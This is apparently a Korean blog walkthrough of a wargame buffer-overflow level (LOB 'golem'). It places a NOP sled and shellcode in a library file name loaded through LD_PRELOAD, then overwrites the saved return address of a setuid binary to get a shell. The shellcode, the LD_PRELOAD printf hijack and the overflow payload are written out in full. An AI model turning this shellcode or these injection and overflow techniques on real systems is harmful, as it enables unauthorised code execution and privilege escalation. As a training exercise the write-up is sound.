본문 바로가기

Pwnable/LOB

[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level11

steleton에 로그인하면 golem 실행 파일과 golem.c 소스 파일이 보인다. 소스 파일의 내용은 다음과 같다.

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // stack destroyer!
        memset(buffer, 0, 44);
	memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}

 

 

이번엔 buffer부터 sfp 전까지, ret 이후부터 0xbffffff까지 전부 초기화 시킨다. 환경 변수를 불러오긴 하지만 환경 변수도 초기화 되기 때문에 사용할 수 없다. buffer 앞의 어느 공간을 사용해야 하는 것 같다. 한참을 봐도 접근 방법을 모르겠어서 구글을 통해 힌트를 얻었다. 방법은 LD_PRELOAD라고 한다.

 


LD_PRELOAD

유닉스/리눅스 계열에서 사용되는 환경 변수이다. 프로세스를 실행하는 과정에서 어떠한 라이브러리를 불러올 때, LD_PRELOAD 환경 변수가 설정되어 있으면 해당 변수에서 정의된 라이브러리를 먼저 불러오고, 해당 라이브러리 내에 호출하고자 하는 함수가 있다면 해당 함수를 우선적으로 호출한다. 예를 들어서, stdio.h 헤더파일에 정의되어 있는 printf 함수는 문자열을 출력하는 함수이지만, 이를 사용자가 재정의해서 ls 명령어를 실행하도록 할 수 있다.

 

먼저, printf를 재정의한 소스 파일을 하나 만들어야 한다. 이름은 new_printf로 만들었다.

 

[skeleton@localhost skeleton]$ cat new_printf.c 
printf(){
	system("ls");
}

 

이제 해당 파일을 라이브러리로 만들어야 한다. 명령어는 아래와 같다.

gcc -shared -fPIC -o 파일이름.so 파일이름.C

-fPIC 옵션은 위치 독립적인 코드(Position Independent Code)를 만들기 위한 옵션이다.

소문자 -fpic 옵션은 코드 생성이 빠르지만 플랫폼에 따라 사용에 제약이 생길 수도 있다.

대문자 -fPIC 옵션은 코드 생성이 비교적 느리지만 플랫폼의 제약이 없다.

 

라이브러리는 .so의 확장자로 표현된다. 

해당 라이브러리를 LD_PRELOAD 환경 변수에 등록해서 우선 순위를 높여주면 된다.

명령어는 아래와 같다.

$ export LD_PRELOAD=./print.so

 

env를 통해 LD_PRELOAD가 정상적으로 등록된 것을 확인할 수 있다.

 

printf를 사용하는 코드를 작성하고 실행해본다.

 

//test.c
//gcc -o test test.c

#include <stdio.h>

int main() {
	printf("Hello!!! \n");

	return 0;
}

 

printf 함수를 실행해서 ls가 실행되었다.

 


이렇게 만들어진 라이브러리를 공유 라이브러리라고 한다. 공유 라이브러리는 스택 영역과 힙 영역 사이에 저장된다. 즉, stack destroyer에 의해 초기화 되지 않는다. 먼저, 아무런 내용이 없는 test.c 파일을 만들고, test.so 라이브러리로 만든 후에 LD_PRELOAD 환경 변수에 등록해보았다.

gcc -shared -fPIC -o test.so test.c

그 후에 LD_PRELOAD에 저장했다.

export LD_PRELOAD=./test.so

 

이제 golem2를 디버깅해서 해당 변수가 저장되어있는 위치를 찾으면 된다.

 

esp보다 낮은 주소에 존재하지만, 대략 어느정도 떨어져있는지 몰라서 일단 $esp-5000부터 쭉 찾아보던 중, 익숙한 단어를 발견했다.

 

0xbffff6cb 부터 저장된 문자열에 /test.so가 저장되어 있다. LD_PRELOAD에 저장한 값이다. 라이브러리의 이름을 이용해서 쉘 코드를 실행시킬 수 있을 것 같다. 방법은 다음과 같다.

 

 

  1. 라이브러리의 이름을 쉘 코드로 만듦.
  2. gdb를 이용해 저장된 위치를 찾아서 ret에 해당 주소를 덮어씌움.
  3. 쉘 실행!

라이브러리의 이름부터 바꾸어 주기로 했다. 공격에 사용할 쉘 코드는 다음과 같다.

 

"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"

 

라이브러리의 이름을 NOP 코드 100개 + 쉘 코드로 바꾸어주고, 해당 파일을 LD_PRELOAD에 저장하였다.

 

[skeleton@localhost skeleton]$ mv test.so `python -c 'print "\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`.so
[skeleton@localhost skeleton]$ ls
golem
golem.c
golem2
test.c
??????????????????????????????????????????????????????????????????????????????????????????????????????^1ɱ2?l??????u????????2?Qi00tii0cjo??QT???????
[skeleton@localhost skeleton]$ export LD_PRELOAD=./`python -c 'print "\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`.so

gdb를 통해 해당 변수의 주소를 다시 찾아주도록 한다.

 

0xbffff5ab 부분을 보면, \220이 100번 반복됐고, 그 이후에 이상한 문자와 마지막에 ".so"가 붙어있는 것을 볼 수 있다. 해당 부분이 LD_PRELOAD이다. 대충 0xbffff5c0 쯤을 ret 주소에 덮으면 될 듯 하다. 페이로드는 다음과 같다.

 

$ ./golem2 `python -c 'print "A"*44 + "\xc0\xf5\xff\xbf"'`

 

쉘이 실행되었다! 이제 golem 실행파일에 그대로 적용해보도록 한다.

 

 

 

golem의 권한을 획득하는 데 성공하였다! 이제 my-pass를 입력해서 패스워드를 알아낸 다음 golem으로 로그인 하면 된다.